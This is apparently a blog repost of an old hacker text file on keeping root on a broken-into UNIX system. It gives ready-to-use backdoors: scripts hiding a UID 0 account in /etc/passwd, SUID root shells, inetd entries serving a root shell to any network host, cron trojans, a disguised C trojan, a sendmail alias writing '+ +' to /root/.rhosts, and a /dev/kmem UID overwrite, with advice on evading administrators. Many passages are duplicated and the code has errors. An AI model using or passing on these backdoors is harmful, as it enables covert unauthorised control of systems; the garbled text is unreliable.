This article is intended to show youhow to hold onto root once you have it. It is intended for hackers andadministrators alike. From a hacking perspective, it is obvious what good thispaper will do you.
Ok..... You've been at it for allnight.
Trying all the exploits you can think of.
The system seems tight.
Thesystem looks tight.
The system *is* tight.
You've tried everything.
Defaultpasswds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions,race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!What's that!?!? A "#" ????
Trying all the exploits you can think of.
The system seems tight.
Thesystem looks tight.
The system *is* tight.
You've tried everything.
Defaultpasswds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions,race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!What's that!?!? A "#" ????
Finally! After seeming endless toiling,you've managed to steal root. Now what? How do you hold onto this precioussuper-user privilege you have worked so hard to achieve....?
This article is intended to show youhow to hold onto root once you have it. It is intended for hackers andadministrators alike. From a hacking perspective, it is obvious what good thispaper will do you. Admin's can likewise benefit from this paper. Ever wonderhow that pesky hacker always manages to pop up, even when you think you'vecompletely eradicated him from your system? This list is BY NO MEANScomprehensive. There are as many ways to leave backdoors into a UNIX computeras there are ways into one.
Beforehand
Know the location of critical systemfiles. This should be obvious (If you can't list any of the top of your head,stop reading now, get a book on UNIX, read it, then come back to me...).
Familiarity with passwd file formats (including general 7 field format, systemspecific naming conventions, shadowing mechanisms, etc...). Know vi.
Manysystems will not have those robust, user-friendly editors such as Pico andEmacs. Vi is also quite useful for needing to quickly seach and edit a largefile. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it'salways nice to have a robust terminal program that has a nice, FAT scrollbackbuffer. This will come in handy if you want to cut and paste code, rc files,shell scripts, etc...
Familiarity with passwd file formats (including general 7 field format, systemspecific naming conventions, shadowing mechanisms, etc...). Know vi.
Manysystems will not have those robust, user-friendly editors such as Pico andEmacs. Vi is also quite useful for needing to quickly seach and edit a largefile. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it'salways nice to have a robust terminal program that has a nice, FAT scrollbackbuffer. This will come in handy if you want to cut and paste code, rc files,shell scripts, etc...
The permenance of these backdoorswill depend completely on the technical saavy of the administrator. Theexperienced and skilled administrator will be wise to many (if not all) ofthese backdoors. But, if you have managed to steal root, it is likely the adminisn't as skilled (or up to date on bug reports) as she should be, and many ofthese doors may be in place for some time to come. One major thing to be awareof, is the fact that if you can cover you tracks during the initial break-in,no one will be looking for back doors.
The Overt
[1] Add a UID 0 account to the passwd file.
This is probablythe most obvious and quickly discovered method of rentry. It flies a red flagto the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, myadvice is DO NOT simply prepend or append it. Anyone causally examining thepasswd file will see this. So, why not stick it in the middle...
This is probablythe most obvious and quickly discovered method of rentry. It flies a red flagto the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, myadvice is DO NOT simply prepend or append it. Anyone causally examining thepasswd file will see this. So, why not stick it in the middle...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# codemobile@yahoo.com
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
NEVER, EVER, change the rootpassword. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, suchas Sync. Or, perhaps, an account somwhere buried deep in the passwd file hasbeen abandoned, and disabled by the sysadmin. Change her UID to 0 (and removethe '*' from the second field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell
Many systems run cron jobs to clean/tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmpmounted to disallow SUID programs from executing. You can change all of these,but if the filesystem starts filling up, people may notice...but, hey, this*is* the overt section....).
I will not detail the changes neccessary becausethey can be quite system specific. Check out /var/spool/cron/crontabs/root and/etc/fstab.
I will not detail the changes neccessary becausethey can be quite system specific. Check out /var/spool/cron/crontabs/root and/etc/fstab.
The Veiled
[4] The super-server configuration file is not the first placea sysadmin will look, so why not put one there?
First, some background info:The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDPports and spawns the appropriate program (usally a server) when a connectionrequest arrives. The format of the /etc/inetd.conf file is simple. Typicallines look like this:
First, some background info:The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDPports and spawns the appropriate program (usally a server) when a connectionrequest arrives. The format of the /etc/inetd.conf file is simple. Typicallines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name thatshould appear in /etc/services. This tells inetd what to look for in/etc/services to determine which port it should associate the program namewith.
Field (2) tells inetd which type of socket connection the daemon will expect.TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field whichis either of the two transport protocols, TCP or UDP.
Field (4) specifieswhether or not the daemon is iterative or concurrent. A 'wait' flag indicatesthat the server will process a connection and make all subsequent connectionswait. 'Nowait' means the server will accept a connection, spawn a child processto handle the connection, and then go back to sleep, waiting for furtherconnections.
Field (5) is the user (or more inportantly, the UID) that thedaemon is run as.
Field (6) is the program to run when a connection arrives, andis the actual command (and optional arguments). If the program is trivial(usally requiring no user interaction) inetd may handle it internally. This isdone with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, andreplace the daemon that would normally handle it with something else. A programthat creates an SUID root shell, a program that adds a root account for you inthe /etc/passwd file, etc...
For the insinuation-impaired, try this:
Field (2) tells inetd which type of socket connection the daemon will expect.TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field whichis either of the two transport protocols, TCP or UDP.
Field (4) specifieswhether or not the daemon is iterative or concurrent. A 'wait' flag indicatesthat the server will process a connection and make all subsequent connectionswait. 'Nowait' means the server will accept a connection, spawn a child processto handle the connection, and then go back to sleep, waiting for furtherconnections.
Field (5) is the user (or more inportantly, the UID) that thedaemon is run as.
Field (6) is the program to run when a connection arrives, andis the actual command (and optional arguments). If the program is trivial(usally requiring no user interaction) inetd may handle it internally. This isdone with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, andreplace the daemon that would normally handle it with something else. A programthat creates an SUID root shell, a program that adds a root account for you inthe /etc/passwd file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in anavailable editor. Find the line that reads:
daytime stream tcp nowait rootinternal
and change it to:
daytime stream tcp nowait /bin/sh sh-i
You now need to restart /etc/inetdso it will reread the config file. It is up to you how you want to do this. Youcan kill and restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd)which will interuppt ALL network connections (so it is a good idea to do thisoff peak hours).
[5] An option to compromising a well known service would be toinstall a new one, that runs a program of your choice. One simple solution isto set up a shell the runs similar to the above backdoor. You need to make surethe entry appears in /etc/services as well as in /etc/inetd.conf. The format ofthe /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2)is the port number, (3) is the protocol type the service expects, and (4) isthe common name associated with the service.
For instance, add this line to/etc/services:
evil 22/tcp evil
and this line to /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERYpowerful backdoors. They not only offer local rentry from any account on thesystem, they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I.
Cron is a wonderful systemadministration tool. It is also a wonderful tool for backdoors, since root'scrontab will, well, run as root...
Again, depending on the level of experienceof the sysadmin (and the implementation), this backdoor may or may not last./var/spool/cron/crontabs/root is where root's list for crontabs is usallylocated.
Here, you have several options. I will list a only few, as cron-basedbackdoors are only limited by your imagination.
Cron is the clock daemon. It isa tool for automatically executing commands at specified dates and times.
Crontab is the command used to add, remove, or view your crontab entries. It isjust as easy to manually edit the /var/spool/crontab/root file as it is to usecrontab. A crontab entry has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows:minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12),day of the week (0-6). Field (6) is the command (or shell script) to execute.
The above shell script is executed on Mondays. To exploit cron, simply add anentry into /var/spool/crontab/root.
For example: You can have a cronjob thatwill run daily and look in the /etc/passwd file for the UID 0 account wepreviously added, and add him if he is missing, or do nothing otherwise (it maynot be a bad idea to actually *insert* this shell code into an alreadyinstalled crontab entry shell script, to further obfuscate your shadyintentions).
Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.comset evilflag = (`grep eviluser/etc/passwd`)if($#evilflag == 0) then # Is hethere?set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...else
endif
[7] Cron-based trojan II.
This one was brought to my attentionby our very own Mr. Zippy. For this, you need a copy of the /etc/passwd filehidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky)we have but one entry, a root account with a passwd of your choosing.
We run acronjob that will, every morning at 2:30am (or every other morning), save acopy of the real /etc/passwd file, and install this trojan one as the real/etc/passwd file for one minute (synchronize swatches!). Any normal user orprocess trying to login or access the /etc/passwd file would get an error, butone minute later, everything would be ok. Add this line to root's crontab file:
29 2 * * */bin/usr/sneakysneaky_passwd
make sure this exists:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh"> /var/spool/mail/.sneaky
and this is the simple shell script:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
[8] Compiled code trojan.
Simple idea. Instead of a shellscript, have some nice C code to obfuscate the effects. Here it is. Make sureit runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUIDroot shell, if the proper argument is given. C code, rather than shell to hide obvious it's effects. */
/* codemobile@yahoo.com */
/* codemobile@yahoo.com */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
[9] The sendmail aliases file.
The sendmail aliases file allowsfor mail sent to a particular username to either expand to several users, orperhaps pipe the output to a program. Most well known of these is the uudecodealias trojan. Simply add the line:
"decode:"|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhostsfile with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site,port 25. Simply fakemail to decode and use as the subject body, the uuencodedversion of the .rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" |/usr/bin/uuencode /root/.rhosts | mail decode@target.com
You can be as creative as you wishin this case. You can setup an alias that, when mailed to, will run a programof your choosing. Many of the previous scripts and methods can be employedhere.
The Covert
[10] Trojan code in common programs. This is a rather sneakymethod that is really only detectable by programs such tripwire. The idea issimple: insert trojan code in the source of a commonly used program. Some ofmost useful programs to us in this case are su, login and passwd because theyalready run SUID root, and need no permission modification. Below are somegeneral examples of what you would want to do, after obtaining the correctsourcecode for the particular flavor of UNIX you are backdooring.
(Note: Thismay not always be possible, as some UNIX vendors are not so generous with thiersourcecode.)
Since the code is very lengthy and different for many flavors,
Iwill just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans ofthis nature can be done in less than 10 lines of additional code.
The Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system.Since the kernel keeps it's parameters in memory, it is possible to modify thememory of the machine to change the UID of your processes. To do so requiresthat /dev/kmem have read/write permission.
The following steps are executed:Open the /dev/kmem device, seek to your page in memory, overwrite the UID ofyour current process, then spawn a csh, which will inherit this UID. Thefollowing program does just that.
/* If /kmem is is readable andwritable, this program will change the user's UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practicaltutorial" with some modifications by codemobile@yahoo.com */
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char*)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0,envp);
}
}
} /* End main */
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
[12] Since the previous code requires /dev/kmem to be worldaccessable, and this is not likely a natural event, we need to take care ofthis. My advice is to write a shell script similar to the one in [7] that willchange the permissions on /dev/kmem for a discrete amount of time (say 5minutes) and then restore the original permissions. You can add this source tothe source in [7]:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
Thanks....
0 comments:
Post a Comment